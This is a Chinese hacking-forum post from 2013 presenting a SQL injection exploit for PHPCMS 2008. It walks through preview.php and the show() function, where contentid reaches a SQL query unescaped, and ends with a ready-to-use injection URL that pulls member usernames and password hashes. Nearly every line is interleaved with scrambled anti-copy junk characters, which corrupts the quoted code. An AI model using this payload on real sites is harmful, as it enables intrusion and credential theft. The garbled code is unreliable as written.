中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
, ]3 t1 ]$ u3 T- y' ]5 s4 ^8 `) X% O/ g" z* J( Z3 L9 Y
   要转摘的兄弟们,你们还是带个版权吧!   
3 K  X- A+ O" r. g8 p. z2 O+ p. Z- ~
  组织 : http://www.safekeyer.com/   (欢迎访问)
4 y$ J! ^* p) J" _* ~6 T, D; ]/ P9 W3 }
author: 西毒    blog: http://hi.baidu.com/sethc5; j" x7 \& Z6 G! [
  h; k8 P* g1 {3 N* U* Q& o
     8 o2 S' m# d# D, b$ ^
7 w) b% z; \( }6 Y( i
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
) C/ z. M' a* Z$ u- e1 z. I6 H. K4 t8 p+ o7 D' c1 W
过程不明显的我就省略了。
5 `; F% M6 m) ]" t: d0 b
0 k# M( ~( f+ z" _在preview.php 中第7行3 p) p* f) r) y8 f! }
; z5 D4 |2 a/ y
$r = new_stripslashes($info);1 ?" d9 F) v$ U/ s+ n* f

! Q  z1 E, {! q( e; u( ~6 h我们跟踪new_stripslashes这个函数% p& D! G7 H" v' ~2 ^1 t# N  `
8 V+ a. v& Q8 h. Y- h, g% _! v4 o: ]
在global.func.php中可以找到
* h" T9 f2 Z$ [6 f2 R+ P" @/ A) T5 o  N9 d. ^! m3 q
1
1 c0 S7 d% t+ [7 K# K* l4 r  D2
' O: q, b+ s. V3 T8 R& r$ q/ P3
4 Q4 _. ~( e9 A% ~$ S4  ]$ V$ ^1 {$ W8 W
5% N& ]! [& u8 a8 r2 E. f* f
6 function new_stripslashes($string)
% i5 z/ w% l( j# h+ l- \/ i! i{4 S; F2 j5 A0 n& g7 A$ K7 ~
    if(!is_array($string)) return stripslashes($string);( g# M0 G) @# v. n
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
! ?  U& z8 y, e5 P    return $string;
' L% x2 ~: U3 c} & ?! g, g- ?, _+ o5 O2 t# Z# ^

; s3 a3 Q7 q8 n这个函数的功能不用解释了吧- l) e! M- R5 a5 ~# ]* n9 ~$ c. }. N

. Y- V3 Z. }) V, s3 E所以我们看具体应用点再哪?# f7 a! @( Z! J8 n& X
; ?7 z, {8 v( j$ D0 R5 M% W- P
1
) c" B$ X1 B" R) T: V% b2
) L/ g/ L9 X. e- N0 Z3
( J9 {9 `* {$ J( f9 u/ G+ D4. G4 M& T& ^8 m/ v2 G  m
5) c# p+ N) h& p0 @+ v3 `  N
6
6 S8 y/ t' ~: J  q7
! C8 ~& s; m8 D81 U" e* M: {* S7 t* V6 t; _4 B. v
9
% |" z# ~- q2 r2 w10, g; D# n; P; o$ K) U
11) A! Q( A' r) ~. b+ R5 l
12
4 E% U$ g1 v3 @0 ~, Q13) B. t- \# h! h' N( h, D' F# v* f  E
14, [+ ?% t) e, p! _
150 j) j% D' x4 A5 O1 d0 M2 N- A
16
9 K$ ?. l2 g6 J+ n+ i17
( D( Y# ~" m( N+ \18
4 p5 x7 n8 q" I% m/ {4 l  J19" N$ k$ [6 W  l' ?$ @
20& U  a/ t2 v$ w% R) F; A& _
21
4 F$ e) z; @: H" k4 R2 A22( j7 `$ ]* c/ y% Z1 f6 n5 G
238 V4 d' ~# \, R
24
2 G9 y! w! V; o: w9 k25
7 J  P7 q7 _* w( w+ ]5 o26* d) R/ d/ i# d2 C* K
27# p6 }* V% `/ C& K( ~
288 f. U: b1 t+ Q" E% M2 G
29/ {5 L  I0 e& U4 q3 Q- O- U3 O
30
: A: p1 y+ u/ }# X, M' v31
9 y9 Q. [" D$ G2 d* y" n4 I32* ~8 F5 g" k8 B: ]; S1 g' q& B
33, m& L3 N8 r, a- |
34" x6 K( q" f. {
35 require dirname(__FILE__).'/include/common.inc.php';* j$ _+ a3 z4 ?1 x1 s1 K3 i* z: o
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.9 w$ A) Z0 v+ F1 G( o
require_once CACHE_MODEL_PATH.'content_output.class.php';
# b) c! Q  F9 \require_once 'output.class.php';
5 l( C/ h5 O# a: F/ Uif(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
5 D/ J3 ?0 p/ S5 d: R* H$r = new_stripslashes($info);   //反转义了.....关键
4 e# O8 V# ]3 W$C = cache_read('category_'.$r['catid'].'.php');& {2 F& c$ A1 x4 Q: a& E
$out = new content_output();
; G" c. D8 U% K$r['userid'] = $_userid;
/ y  e& g5 y& D0 i! \7 U' ?$r['inputtime'] = TIME;
# k/ j) i6 F( ^$data = $out->get($r);3 U. S6 E! W3 N* E0 S
extract($data);& O* D5 T2 K3 t
$userid = $_username;
& l& o4 @! x/ o8 x; L" j& l+ ufor($i=1;$i<10;$i++)
+ U" F1 r/ Q" u& e3 \9 s' |" A{
, a" |  R8 F- I! v  v    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
$ j  ^3 x0 Y& ~1 I& f: y}
* ]* |' a6 n! B7 k% u$ w0 E: f        
% u3 u4 C6 P+ F$array_images = $str_attachmentArray;" q$ |6 I9 t8 z/ N1 n
$images_number = 10;9 o" T7 g) D* `
$allow_priv = $allow_readpoint = 1;" `2 E* i9 |: `" R
$updatetime = date('Y-m-d H:i:s',TIME);
$ N; ?' ^% u6 @' t& i        1 o0 p# ?" ?5 \2 M9 |
$page = max(intval($page), 1);
3 [3 I/ {6 @: m9 s0 k1 A5 l# Z$ W+ y$pages = $titles = '';
4 t$ V0 u1 g% M9 a1 T; l- _if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈: t, c/ |- k" S8 [& x7 F7 W
{. h# ~2 a9 q  o, P
    require_once 'url.class.php';* b) r. f% E" J& i& ^+ G0 Y
    $curl = new url();
& V* \  ?- |! H% L; _1 D    $contents = array_filter(explode('', $content));
8 m+ j% k3 Y" |; o- \    $pagenumber = count($contents);% \- b/ e1 |1 u4 w5 S3 O
    for($i=1; $i<=$pagenumber; $i++)
, |$ z; Z6 P7 C' ~; |8 v6 l( X    {
( ~7 P) D4 ]6 F5 o        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中$ [7 j9 K# k6 g1 @1 v( S& y
    } ) |: h& g/ M( Z
其中细节我就不说了...$ R3 e3 L( t' Y
" S1 Q5 R1 A8 ?/ y; v  ~; n) o) K6 X
我们看看这个$curl资源句柄中的show方法' T5 x3 T  T/ R7 A" Y4 @

" F6 `1 {- H" G5 n1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']); 8 n. d' o; @/ c7 u7 m% ]
. ~3 @2 `: |: ~2 |
1
, O9 K, ~7 e: ?" C9 B2
1 s" ^3 S( j6 h5 d; \9 ^4 ]3
! v$ O# w  B( N" B  b9 l4
( D7 h( \; P+ {5
3 t- J5 U8 F' C* x3 S4 u" }65 G. T% e1 W5 e! j
7' }9 O8 h: ~# ~# i$ `1 L
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
4 X' s* K% M! }7 V* ?$ m    {' `+ p' ?. w7 T) I) B+ S
        global $PHPCMS;
$ h8 l* Q! k( T6 f3 A3 f        if($catid == 0 || $time == 0 || $prefix == '')
# L% B8 v- M+ E        {
& f" q5 b8 ~1 p; p7 v3 Y            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
9 _6 a4 C% V$ |3 ~            if($r['isupgrade'] && !empty($r['url']))
2 l) z+ A* w% V/ B, h0 d) M6 \! d$ b            { 2 L! b% U" l8 @  `

* x9 V3 w( `5 f  z- ]7 E1 s  F% `所以结合前面的......我们x站了吧
* w6 ~* T. Y# q
  i% r' O+ e3 _给出exp. t4 p# E% k, E8 ?1 S: T& n

" }# l* ?9 Q, [& E) D8 }www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​
8 F% J$ f8 R/ l4 q3 o0 O8 p) ]# d2 J. P" _) ]$ ]: U& I9 c' z
截图看一下) U" R! b. Y. i$ n4 B
: a5 `; J1 l# o$ m" Z2 t0 [4 L
最后真心说句,360收购漏洞计划,价格真心低.....
7 a, D4 z: M2 |2 W0 I# z& Uhttp://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2